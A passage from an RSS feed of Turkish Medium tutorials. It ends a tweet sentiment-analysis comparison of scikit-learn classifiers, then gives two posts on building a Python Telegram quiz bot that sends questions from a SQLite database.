“()”))</blockquote><p>anlamsız kelimeleri tweetlerden çıkarıyoruz.</p><blockquote>anlamsiz_kelimeler=freq_df[freq_df.kelimeler2!=””]</blockquote><blockquote>for temizle in anlamsiz_kelimeler[“kelimeler”]:<br> df[“Tweet”]=df[“Tweet”].str.replace(temizle,””)</blockquote><p>Artık makine öğrenmesi kısmına yavaş yavaş geçebiliriz.</p><p>vectorizer ile tüm kelimeleri çıkarıyoruz ve bunları sütunlara yerleştiryoruz. sonra her bir tweet için bu kelimelerin var yok şeklinde 1 0 1 0 1 0 şeklinde kodluyoruz. örneğin birinci tweetde geçen kelimler 10110101 şeklinde kodlandıktan sonra bunun duygu sonucu 1 şeklinde karşılık alacak. algoritmalarda bunu öğrenerek yeni bir tweet geldiğinde kelimeleri 101010101 şeklinde kodladıktan sonra buna 1 ya da 0 değerini atayacak.</p><p>ben size 4 tane algoritma üzerinden sonuçları göstereceğim siz diğer algoritmalardan ne çıkacağına bakabilirsiniz. eğer çıkan skorları paylaşırsanız bu dataset için en iyi algoritma hangisi görmüş oluruz.</p><p>from sklearn.feature_extraction.text import CountVectorizer<br>vectorizer = CountVectorizer()</p><p>from sklearn.model_selection import train_test_split</p><blockquote>x = df[“Tweet”]<br>y = df[“duygu”]</blockquote><p>Test ve eğitim datalarımızı ayırıyoruz.</p><blockquote>train_x, test_x, y_train, y_test = train_test_split(x,y, test_size = 0.25)</blockquote><blockquote>vectorizer = CountVectorizer()</blockquote><p># train verilerimizi feature vektöre matrisine çeviriyoruz</p><blockquote>train_x = vectorizer.fit_transform(train_x)<br>train_x = train_x.toarray()<br>train_y = y_train</blockquote><blockquote>from sklearn.metrics import confusion_matrix, accuracy_score<br>import scikitplot.metrics as splt</blockquote><blockquote>test_xx = vectorizer.transform(test_x)<br>test_xx = test_xx.toarray()</blockquote><blockquote>from sklearn.ensemble import RandomForestClassifier<br>model = RandomForestClassifier(n_estimators = 100)<br>model.fit(train_x, train_y)</blockquote><blockquote>test_predict = model.predict(test_xx)</blockquote><blockquote>dogruluk = roc_auc_score(y_test, test_predict)<br>print(“Doğruluk oranı : % “, dogruluk * 100)</blockquote><blockquote>Doğruluk oranı : % 77.44706284153006</blockquote><blockquote>print(confusion_matrix(y_test, test_predict))</blockquote><blockquote>splt.plot_confusion_matrix(y_test, test_predict)</blockquote><blockquote>[[126 57]<br> [ 67 413]]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*8OoIMkBpqwiDlj0-VxHDwQ.png" /></figure><blockquote>print(model.score(test_xx, y_test))</blockquote><blockquote>0.8129713423831071</blockquote><p>gayet başarılı bir skor elde ettiğimizi düşünüyorum.</p><blockquote>from sklearn import tree<br>ka=tree.DecisionTreeClassifier()</blockquote><blockquote>ka.fit(train_x, train_y)</blockquote><blockquote>‘’’Test verisi için tahmin yapalım’’’<br>test_predict = ka.predict(test_xx)</blockquote><blockquote>dogruluk2 = roc_auc_score(y_test, test_predict)<br>print(“Doğruluk oranı : % “, dogruluk2 * 100)</blockquote><blockquote>Doğruluk oranı : % 77.45901639344262</blockquote><blockquote>print(confusion_matrix(y_test, test_predict))</blockquote><blockquote>splt.plot_confusion_matrix(y_test, test_predict)</blockquote><blockquote>[[131 52]<br> [ 80 400]]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*fEnp6QydvA5Ci13D-x38OQ.png" /></figure><blockquote>print(ka.score(test_xx, y_test))</blockquote><blockquote>0.8009049773755657</blockquote><blockquote>from sklearn.naive_bayes import GaussianNB <br>nba=GaussianNB()<br>nba_model=nba.fit(train_x, train_y)<br>test_predict=nba_model.predict(test_xx)</blockquote><blockquote>dogruluk3 = roc_auc_score(y_test, test_predict)<br>print(“Doğruluk oranı : % “, dogruluk3 * 100)</blockquote><blockquote>Doğruluk oranı : % 83.94125683060109<br>print(confusion_matrix(y_test, test_predict))</blockquote><blockquote>[[141 42]<br> [ 44 436]]</blockquote><blockquote>splt.plot_confusion_matrix(y_test, test_predict)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*B9NErCgB6Qm7G4_C8pcnGg.png" /></figure><blockquote>print(nba_model.score(test_xx, y_test))</blockquote><blockquote>0.8702865761689291</blockquote><blockquote>from sklearn.linear_model import LogisticRegression</blockquote><blockquote>logit_model = LogisticRegression(max_iter=1000)<br>logit_model.fit(train_x, train_y)</blockquote><blockquote>test_predict=logit_model.predict(test_xx)</blockquote><blockquote>dogruluk5 = roc_auc_score(y_test, test_predict)<br>print(“Doğruluk oranı : % “, dogruluk5 * 100)</blockquote><blockquote>% 83.5792349726776</blockquote><blockquote>print(confusion_matrix(y_test, test_predict))</blockquote><blockquote>[[129 54]<br> [ 16 464]]</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/317/1*pH87lb1_tdtMoZGnf0Rd9Q.png" /></figure><blockquote>print(logit_model.score(test_xx, y_test))</blockquote><blockquote>0.8944193061840121</blockquote><p>evet arkadaşlar yaptığımız 4 algoritmada en iyi sonucu Logistic Regression verdi. ben diğer model üzerinde de deneme yaptım. onların ve kodların tamamına ulaşmak için buraya tıklayabilirsiniz.<a href="https://www.kaggle.com/code/bahadr80/turkce-tweet-duygu-analiz">https://www.kaggle.com/code/bahadr80/turkce-tweet-duygu-analiz</a> umarım faydası olmuştur. herkes iyi paytınlamalar :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2a06a7746b37" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python ile her şeyi ama her şeyi yapabilirsin-Telegram Bot/Quizbot Yazımı-2]]></title>
            <link>https://medium.com/@ahmet.bd/python-ile-her-%C5%9Feyi-ama-her-%C5%9Feyi-yapabilirsin-telegram-bot-quizbot-yaz%C4%B1m%C4%B1-2-9e421de98aaf?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/9e421de98aaf</guid>
            <category><![CDATA[quizbot]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[telegram]]></category>
            <category><![CDATA[sqlite]]></category>
            <category><![CDATA[telegram-bot]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Sun, 21 Aug 2022 19:34:17 GMT</pubDate>
            <atom:updated>2022-08-21T19:46:10.536Z</atom:updated>
            <content:encoded><![CDATA[<p>Bir önceki yazıda Telegram botu nasıl oluşturulur? otomatik mesaj nasıl gönderilir onu öğrenmiştik. Bu yazıda ise nasıl soru gönderilir onu öğreneceğiz. Öncelikle bir soru veri tabanınız olması gerekiyor. Google Play’de bir soru çözme uygulamam olduğundan ben onun soru veri tabanını kullanacağım. (indirmek isteyenler için linkini paylaşıyorum <a href="https://play.google.com/store/apps/details?id=test.ilk.test&amp;gl=TR">https://play.google.com/store/apps/details?id=test.ilk.test&amp;gl=TR</a> ) Ben Sqlite veri tabanı kullanıyorum sizin burada veri tabanınız excel formatında olabilir. Onu da nasıl çekeceğiz göstereceğim.</p><figure><img alt="kaynak:https://teknoharekat.com/telegram-bot-sahipligi-degistirmek/" src="https://cdn-images-1.medium.com/max/900/0*tVszRLI9WyyDDnSK.jpg" /><figcaption>Resim kaynak:<a href="https://teknoharekat.com/telegram-bot-sahipligi-degistirmek/">https://teknoharekat.com/telegram-bot-sahipligi-degistirmek/</a></figcaption></figure><p>Öncelikle pandas kütüphanesini çağıracağız.</p><p>import pandas as pd</p><p>eğer sizin de dosyanız Sqlite ise sqlite3 kütüphanesini de import etmemiz gerekiyor.</p><pre>import sqlite3</pre><p>örneğin soruların olduğu dosyanın adı “sorular.sqlite” olsun ve soruların olduğu tablonun ismi ise “testler” o zaman aşağıdaki gibi soruları pythona çekebiliriz.</p><pre>baglan = sqlite3.connect(&quot;sorular.sqlite&quot;)</pre><pre>df=pd.read_sql(&#39;SELECT * FROM testler&#39;, con)</pre><p>Eğer excel dosyası ise ve adı “sorular.xlsx” ise o zaman sadece pandas kullanmanız yeterli olacaktır.</p><pre>df = pd.read_excel(&quot;sorular.sqlite&quot;)</pre><p>burada ayrıca şunu da belirtmek isterim. Hazırladığınız excelde cevapla A,B,C vb şeklindeyse bunları 0,1,2,3,4 şeklinde değiştirmeniz gerekiyor. Çünkü Telegram cevapları sayı şeklinde algılıyor. Ben bunla ilgili bir fonksiyon yazdım. Size hangisi daha kolay geliyorsa onu uygulayabilirsiniz.</p><pre>def dogrucevap(cevap_cevir):</pre><pre>    if cevap_cevir==&quot;A&quot;:</pre><pre>        return &quot;0&quot;</pre><pre>    if cevap_cevir==&quot;B&quot;:</pre><pre>        return &quot;1&quot;</pre><pre>    if cevap_cevir==&quot;C&quot;:</pre><pre>        return &quot;2&quot;</pre><pre>    if cevap_cevir==&quot;D&quot;:</pre><pre>        return &quot;3&quot;</pre><pre>    if cevap_cevir==&quot;E&quot;:</pre><pre>        return &quot;4&quot;</pre><p>Soru göndermede benim grupta kullandığım birkaç yöntem var. 25/50/100’lü denemeler. Tek tek soru gönderme ya da genel yetenek/parabanka gibi 15 lü testler gönderme. Ben bunlardan size rastgele tekli soru gönderimi anlatacağım. zaten bunu öğrendikten sonra kolayca siz de diğerlerini yapabileceksiniz.</p><p>Main fonksiyonunun içine aşağıdaki kodu ekleyelim</p><pre>dispatcher.add_handler(CommandHandler(&#39;BanQuizSoru&#39;, BanQuizSoru))</pre><p>BanQuizsoru adında bir fonksiyon oluşturalım</p><pre>def BanQuizSoru(update: Update, context: CallbackContext) -&gt; None:</pre><p>Random soru göndereceğimiz için randomu import ediyoruz ve veri tabanımızda yer alan soru adedi kadar aralık belirliyoruz.</p><pre>import random</pre><pre>random_sayı=random.randint(1,10000)</pre><p>Telegram’ın bir başka handikabı ise soru ve cevaplardaki karakter sınırlaması, o yüzden veri tabanınızda bulunan soruların karakter sınırından emin değilseniz bunu kontrol etmeniz gerekiyor.</p><pre>while True:</pre><pre>    random_sayı = random.randint(1, 10000)</pre><pre>    if df.iloc[random_sayı, 6] is None:</pre><pre>        if (len(df.iloc[random_sayı, 1]) &lt; 245 and len(df.iloc[random_sayı, 2]) &lt; 100</pre><pre>                and len(df.iloc[random_sayı, 3]) &lt; 100 and len(df.iloc[random_sayı, 4]) &lt; 100</pre><pre>                and len(df.iloc[random_sayı, 5]) &lt; 100):</pre><pre>            break</pre><pre>    else:</pre><pre>        if (len(df.iloc[random_sayı, 1]) &lt; 245 and len(df.iloc[random_sayı, 2]) &lt; 100</pre><pre>                and len(df.iloc[random_sayı, 3]) &lt; 100 and len(df.iloc[random_sayı, 4]) &lt; 100</pre><pre>                and len(df.iloc[random_sayı, 5]) &lt; 100 and len(df.iloc[random_sayı, 6]) &lt; 100):</pre><pre>            break</pre><p>yukarıda ki komutta şuna da açıklık getiriyeyim df.iloc komutu ile dosyamızın satır ve sütununa erişiyoruz. Parantez içerisindeki ilk kısım satır ikinci kısım iste sütunu ifade eder. “df.iloc[random_sayı, 6] is None” yapmamızın sebebi E şıkı olmayan sorular içindir. Eğer bunu yapmazsak hata alır ve bot çalışmaz. Benim soru bankam aşağıdaki resimdeki gibi satır ve sütunlara sahip. Baştan 0 ile sayarsanız 6.sütun E şıkkına geldiğini görürüsünüz.</p><p>Soru gönderirken de aynı kontrolü yapmamız gerekiyor.</p><pre>if df.iloc[random_sayı, 6] is None:</pre><pre>    questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),</pre><pre>                 str(df.iloc[random_sayı, 5])]</pre><pre>else:</pre><pre>    questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),</pre><pre>                 str(df.iloc[random_sayı, 5]), str(df.iloc[random_sayı, 6])]</pre><pre>#dogru_cevap_yaz = dogrucevap(df.iloc[random_sayı, 7])</pre><pre>message = update.effective_message.reply_poll(</pre><pre>    &quot;[&quot; + str(i) + &quot;/&quot; + str(sorusayisi) + &quot;].&quot; + str(df.iloc[random_sayı, 1]), questions,</pre><pre>    is_anonymous=False, type=Poll.QUIZ, explanation=explanation1, correct_option_id=int(dogru_cevap_yaz)</pre><pre>)</pre><p>questions değişkenimle soruları şıklarıyla beraber alıyorum. Telegram’da soru gönderme komutu “update.effective_message.reply_poll”dır. Ve parantez içerisinde girilmesi gerek ifadeler şöyledir. (“soru”, is_anonymous=False(cevap verenler gözüksün mü), type=Poll.QUIZ (test mi olsun), explanation=explanation1(soruyu cevaplayanlara bilgi mesajı gönder), correct_option_id=int(dogru_cevap_yaz))</p><p>cevap bilgilerini de yakalamak için ;</p><pre>payload = {</pre><pre>    message.poll.id: {</pre><pre>        &quot;questions&quot;: questions,</pre><pre>        &quot;message_id&quot;: message.message_id,</pre><pre>        &quot;chat_id&quot;: update.effective_chat.id,</pre><pre>        &quot;answers&quot;: df.iloc[random_sayı, 7],</pre><pre>    }</pre><p>isteğe bağlı olarak da soru gönderiminden sonra butonlar ekleyebilirsiniz.</p><pre>button = [[InlineKeyboardButton(&quot;Daha Fazla Soru için Google Play&#39;den Uygulamayı Yükleyiniz&quot;,</pre><pre>                                url=&#39;https://play.google.com/store/apps/details?id=test.ilk.test&#39;)],</pre><pre>          [InlineKeyboardButton(&quot;İnstagram&#39;dan Takip İçin&quot;, url=&#39;https://www.instagram.com/banquiz_tr/&#39;)],</pre><pre>          [InlineKeyboardButton(&quot;Twitter&#39;dan Takip İçin&quot;, url=&#39;https://twitter.com/banquiz_tr&#39;)]</pre><pre>          ]</pre><pre>message2 = &quot;Bu sorular BanQuiz uygulaması denemelerinden alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play&#39;den indirmeyi unutmayınız&quot;</pre><pre># using one_time_keyboard to hide the keyboard</pre><pre>update.effective_message.reply_text(</pre><pre>    message2, reply_markup=InlineKeyboardMarkup(button, one_time_keyboard=True)</pre><pre>)</pre><p>anlatacaklarım bu kadar. Umarım faydalı olmuştur. Aşağıda tüm kodları paylaşıyor olacağım herkese iyi paytınlamalar :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*iBXhlO1HWvxTx7rOpxZgtA.png" /><figcaption>Ekran Görüntüsü</figcaption></figure><pre>from telegram import (</pre><pre>    Poll,</pre><pre>    ParseMode,</pre><pre>    KeyboardButton,</pre><pre>    KeyboardButtonPollType,</pre><pre>    ReplyKeyboardMarkup,</pre><pre>    ReplyKeyboardRemove,</pre><pre>    Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,</pre><pre>    User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,</pre><pre>    ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,</pre><pre>    PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,</pre><pre>    Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants</pre><pre>)</pre><pre>from telegram.ext import (</pre><pre>    Updater,</pre><pre>    CommandHandler,</pre><pre>    PollAnswerHandler,</pre><pre>    PollHandler,</pre><pre>    MessageHandler,</pre><pre>    Filters,</pre><pre>    CallbackContext, ChatMemberHandler,</pre><pre>)</pre><pre>import pandas as pd</pre><pre>import sqlite3</pre><pre>import random</pre><pre>def BanQuizSoru(update: Update, context: CallbackContext) -&gt; None:  # bunu kullanıyorum</pre><pre>    sorusayisi = 1</pre><pre>    id_bul = update.message.chat_id</pre><pre>    con = sqlite3.connect(&quot;sorular.sqlite&quot;)</pre><pre>    df = pd.read_sql(&#39;SELECT * FROM test1&#39;, con)</pre><pre>    global i,rdb,rdbu </pre><pre>    for i in range(sorusayisi):</pre><pre>        # time.sleep(5)</pre><pre>        rdb = 1</pre><pre>        rdbu = 10000</pre><pre>        explanation1 = &quot;Bu sorular BanQuiz uygulamasından alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play&#39;den indirmeyi unutmayınız.&quot;</pre><pre>        random_sayı = random.randint(rdb, rdbu)</pre><pre>        while True:</pre><pre>            random_sayı = random.randint(rdb, rdbu)</pre><pre>            if df.iloc[random_sayı, 6] is None:</pre><pre>                if (len(df.iloc[random_sayı, 1]) &lt; 245 and len(df.iloc[random_sayı, 2]) &lt; 100</pre><pre>                        and len(df.iloc[random_sayı, 3]) &lt; 100 and len(df.iloc[random_sayı, 4]) &lt; 100</pre><pre>                        and len(df.iloc[random_sayı, 5]) &lt; 100):</pre><pre>                    break</pre><pre>            else:</pre><pre>                if (len(df.iloc[random_sayı, 1]) &lt; 245 and len(df.iloc[random_sayı, 2]) &lt; 100</pre><pre>                        and len(df.iloc[random_sayı, 3]) &lt; 100 and len(df.iloc[random_sayı, 4]) &lt; 100</pre><pre>                        and len(df.iloc[random_sayı, 5]) &lt; 100 and len(df.iloc[random_sayı, 6]) &lt; 100):</pre><pre>                    break</pre><pre>        if i &lt; sorusayisi:</pre><pre>            i = i + 1</pre><pre>            if df.iloc[random_sayı, 6] is None:</pre><pre>                questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),</pre><pre>                             str(df.iloc[random_sayı, 5])]</pre><pre>            else:</pre><pre>                questions = [str(df.iloc[random_sayı, 2]), str(df.iloc[random_sayı, 3]), str(df.iloc[random_sayı, 4]),</pre><pre>                             str(df.iloc[random_sayı, 5]), str(df.iloc[random_sayı, 6])]</pre><pre>            dogru_cevap_yaz = dogrucevap(df.iloc[random_sayı, 7])</pre><pre>            message = update.effective_message.reply_poll(</pre><pre>                &quot;[&quot; + str(i) + &quot;/&quot; + str(sorusayisi) + &quot;].&quot; + str(df.iloc[random_sayı, 1]), questions,</pre><pre>                is_anonymous=False, type=Poll.QUIZ, explanation=explanation1, correct_option_id=int(dogru_cevap_yaz)</pre><pre>            )</pre><pre>            # Save some info about the poll the bot_data for later use in receive_quiz_answer</pre><pre>            payload = {</pre><pre>                message.poll.id: {</pre><pre>                    &quot;questions&quot;: questions,</pre><pre>                    &quot;message_id&quot;: message.message_id,</pre><pre>                    &quot;chat_id&quot;: update.effective_chat.id,</pre><pre>                    &quot;answers&quot;: df.iloc[random_sayı, 7],</pre><pre>                }</pre><pre>            }</pre><pre>            context.bot_data.update(payload)</pre><pre>        if i &gt;= sorusayisi:</pre><pre>            # update.message.reply_text(&quot;Test Bitmiştir. Herkese Teşekkürler&quot;)</pre><pre>            button = [[InlineKeyboardButton(&quot;Daha Fazla Soru için Google Play&#39;den Uygulamayı Yükleyiniz&quot;,</pre><pre>                                            url=&#39;https://play.google.com/store/apps/details?id=test.ilk.test&#39;)],</pre><pre>                      [InlineKeyboardButton(&quot;İnstagram&#39;dan Takip İçin&quot;, url=&#39;https://www.instagram.com/banquiz_tr/&#39;)],</pre><pre>                      [InlineKeyboardButton(&quot;Twitter&#39;dan Takip İçin&quot;, url=&#39;https://twitter.com/banquiz_tr&#39;)]</pre><pre>                      ]</pre><pre>            message2 = &quot;Bu sorular BanQuiz uygulaması denemelerinden alınmıştır. Daha fazla soru için BanQuiz uygulamasını Google Play&#39;den indirmeyi unutmayınız&quot;</pre><pre>            # using one_time_keyboard to hide the keyboard</pre><pre>            update.effective_message.reply_text(</pre><pre>                message2, reply_markup=InlineKeyboardMarkup(button, one_time_keyboard=True)</pre><pre>            )</pre><pre>def otomatikcevap(update: Update, context: CallbackContext) -&gt; None:</pre><pre>    gelen = update.message.text</pre><pre>    gelen2 = update.effective_user.name</pre><pre>    gelen3 = update.effective_user.id</pre><pre>    if gelen.lower().find(&quot;salak&quot;) != -1 or gelen.lower().find(&quot;aptal&quot;) != -1:</pre><pre>        s = update.effective_user.name</pre><pre>        update.message.reply_text(s + &quot; Lütfen Daha Terbiyeli Olalım&quot;)</pre><pre>def dogrucevap(cevap_cevir):</pre><pre>    if cevap_cevir==&quot;A&quot;:</pre><pre>        return &quot;0&quot;</pre><pre>    if cevap_cevir==&quot;B&quot;:</pre><pre>        return &quot;1&quot;</pre><pre>    if cevap_cevir==&quot;C&quot;:</pre><pre>        return &quot;2&quot;</pre><pre>    if cevap_cevir==&quot;D&quot;:</pre><pre>        return &quot;3&quot;</pre><pre>    if cevap_cevir==&quot;E&quot;:</pre><pre>        return &quot;4&quot;</pre><pre>def main() -&gt; None:</pre><pre>    <em>&quot;&quot;&quot;Run bot.&quot;&quot;&quot;</em></pre><pre>    updater = Updater(&quot;**************************&quot;)</pre><pre>    dispatcher = updater.dispatcher</pre><pre>    dispatcher.add_handler(CommandHandler(&#39;BanQuizSoru&#39;, BanQuizSoru))</pre><pre>    updater.start_polling()</pre><pre>    updater.idle()</pre><pre>if __name__ == &#39;__main__&#39;:</pre><pre>    main()</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9e421de98aaf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python ile her şeyi ama her şeyi yapabilirsin-Telegram Bot/Quizbot Yazımı-1]]></title>
            <link>https://medium.com/@ahmet.bd/python-ile-her-%C5%9Feyi-ama-her-%C5%9Feyi-yapabilirsin-telegram-bot-quizbot-yaz%C4%B1m%C4%B1-1-a085398e80bb?source=rss-a2c02754d683------2</link>
            <guid isPermaLink="false">https://medium.com/p/a085398e80bb</guid>
            <category><![CDATA[telegram]]></category>
            <category><![CDATA[telegram-bot]]></category>
            <category><![CDATA[bots]]></category>
            <category><![CDATA[quizbot]]></category>
            <category><![CDATA[python]]></category>
            <dc:creator><![CDATA[Ahmet]]></dc:creator>
            <pubDate>Wed, 06 Jul 2022 20:02:08 GMT</pubDate>
            <atom:updated>2022-07-07T04:29:53.063Z</atom:updated>
            <content:encoded><![CDATA[<p>Kızım benden ipad istiyordu. Ben de kendisine ne yapacaksın dediğimde “baba bu ipad ile her şeyi ama her şeyi yapabilirsin” mesela? “Her şeyi ama her şeyi işte” :) ipad ile her şey yapılır mı bilmem ama python ile hemen hemen her şeyi yapmak mümkün. Medium yazı dizisinin adını da bu yüzden “Python ile her şeyi ama her şeyi yapabilirsin” koymak istedim.</p><p>Bu benim mediumda ilk yazım olduğu için herkesten şimdiden hatalar için affımı istiyorum.</p><p>İlk yazımda Telegram grubunda da (“BanQuiz-İletişim Ve Paylaşım Platformu”) kullanmakta olduğum BanQuiz botun yapımını anlatacağım.</p><p>Python kodlamaya geçmeden önce Telegram ’da bir bot oluşturacağız.</p><p>1-Öncelikle Telegram ’da BotFather hesabını bulunuz. (Arama kısmına BotFather yazın ve mavi tıklı olan hesabı açın)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/396/1*uBy1dYTp1sZe4b4S6XmV8Q.png" /></figure><p>2-/start yazarak bot oluşturma işlemine başlayabiliriz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*1IkY9Ego6hokdylsuw-1NA.png" /></figure><p>3-/newbot yazdıktan sonra botumuza isim vermemiz gerekiyor. Verdiğimiz ismin sonuna bot ifadesini koymamız zorunludur. Örneğin: Banquizsorubot veya banquizsoru_bot vb.</p><p>4-Botumuzun adı kurallara uygun olması durumunda aşağıda resimde okla gösterdiğim token bilgisine ulaşacaksınız. Bu bilgileri kimseyle paylaşmamanız önemlidir. Aksi takdirde bu token bilgisine sahip kişiler sizin botunuz yönetebilirler.</p><p>5-/mybots komutu ile token vs bilgilere yeniden ulaşabilir. Birden fazla botunuz olduğunda ise size seçim imkanı sunarak o bot üzerinden işlem yapabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*iJTJbh81Q14-W7Kl_oc4-g.png" /></figure><p>6-Arama çubuğundan botunuzu bularak artık botunuzu kullanmaya başlayabilirsiniz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zGOCwQu6zKz9CrKqVjtKTA.png" /></figure><p>Artık python kısmına geçebiliriz.</p><p>1-Öncelikle “pip install python-telegram-bot” ile kütüphanemizi yüklememiz gerekiyor.</p><p>2- from telegram import (<br> Poll,<br> ParseMode,<br> KeyboardButton,<br> KeyboardButtonPollType,<br> ReplyKeyboardMarkup,<br> ReplyKeyboardRemove,<br> Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,</p><p>User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,<br> ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,<br> PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,<br> Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants<br>)</p><p>from telegram.ext import (<br> Updater,<br> CommandHandler,<br> PollAnswerHandler,<br> PollHandler,<br> MessageHandler,<br> Filters,<br> CallbackContext, ChatMemberHandler,<br>)</p><p>ilk aşamada import ettiğimiz tüm kütüphaneleri kullanmayacağız ama ben şimdiden hepsinin veriyorum. Belki siz de araştırıp yeni şeyler bulmak isteyebilirsiniz. (şu an Update, Update,MessageHandler, Filters ve CallbackContext kullanacağız)</p><pre>from telegram import (<br>    Poll,<br>    ParseMode,<br>    KeyboardButton,<br>    KeyboardButtonPollType,<br>    ReplyKeyboardMarkup,<br>    ReplyKeyboardRemove,<br>    Update, InlineKeyboardButton, PollAnswer, InlineKeyboardMarkup,<br><br>    User, Message, Update, Chat, ChatMember, UserProfilePhotos, File,<br>    ReplyMarkup, TelegramObject, WebhookInfo, GameHighScore, StickerSet,<br>    PhotoSize, Audio, Document, Sticker, Video, Animation, Voice, VideoNote,<br>    Location, Venue, Contact, InputFile, Poll, ChatPermissions, TelegramObject, constants<br>)<br><br>from telegram.ext import (<br>    Updater,<br>    CommandHandler,<br>    PollAnswerHandler,<br>    PollHandler,<br>    MessageHandler,<br>    Filters,<br>    CallbackContext, ChatMemberHandler,<br>)</pre><pre>def otomatikcevap(update: Update, context: CallbackContext) -&gt; None:</pre><pre>#yazılan mesajı yakalıyoruz<br>    gelen = update.message.text<br>    <br>#find fonksionu ile gelen cümlede &quot;salak&quot; ya da &quot;aptal&quot; kelimesi var mı diye bakıyoruz. eğer varsa uyarı mesajı gönderiyoruz.</pre><pre>    if gelen.lower().find(&quot;salak&quot;) != -1 or gelen.lower().find(&quot;aptal&quot;) != -1:</pre><pre>#s değişkeine mesajı yazan kullanıcının kullanıcı adını atıyoruz.</pre><pre>        s = update.effective_user.name<br>        update.message.reply_text(s + &quot; Lütfen Daha Terbiyeli Olalım&quot;)<br>    <br><br><br>def main() -&gt; None:<br>    <em><br>  #Buraya kendi Token kodunuzu girmeniz gerekiyor</em><br>    updater = Updater(&quot;5******77:AA****3-M*******8&quot;)</pre><pre><br>    dispatcher = updater.dispatcher</pre><pre>#MessageHandler ile gruba gönderilen mesajları yakalıyoruz.<br>    dispatcher.add_handler(MessageHandler(Filters.text, otomatikcevap))<br><br>    # Botu başlatır<br>    updater.start_polling()<br><br>    # ctrl+c yapana kadar bot çalışır<br>    updater.idle()</pre><pre><br>if __name__ == &#39;__main__&#39;:<br>    main()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*yoWBkRwnOC5Zy-4O-W8gFw.png" /></figure><p>yukarıda kodları kopyala yapıştır yaparak kullanabilirsiniz. Kodların açıklamalarını kod blok içerisinde anlattım. Botunuzu başka gruplarda kullanmanız için botunuz o grupta yönetici olmalı ve tüm izinler verilmiş olmalıdır. Bir dahaki yazıda nasıl test/soru gönderiyoruz. Onu anlatmaya çalışacağım. Şimdilik bu kadar, herkese iyi paytınlamalar :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a085398e80bb" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>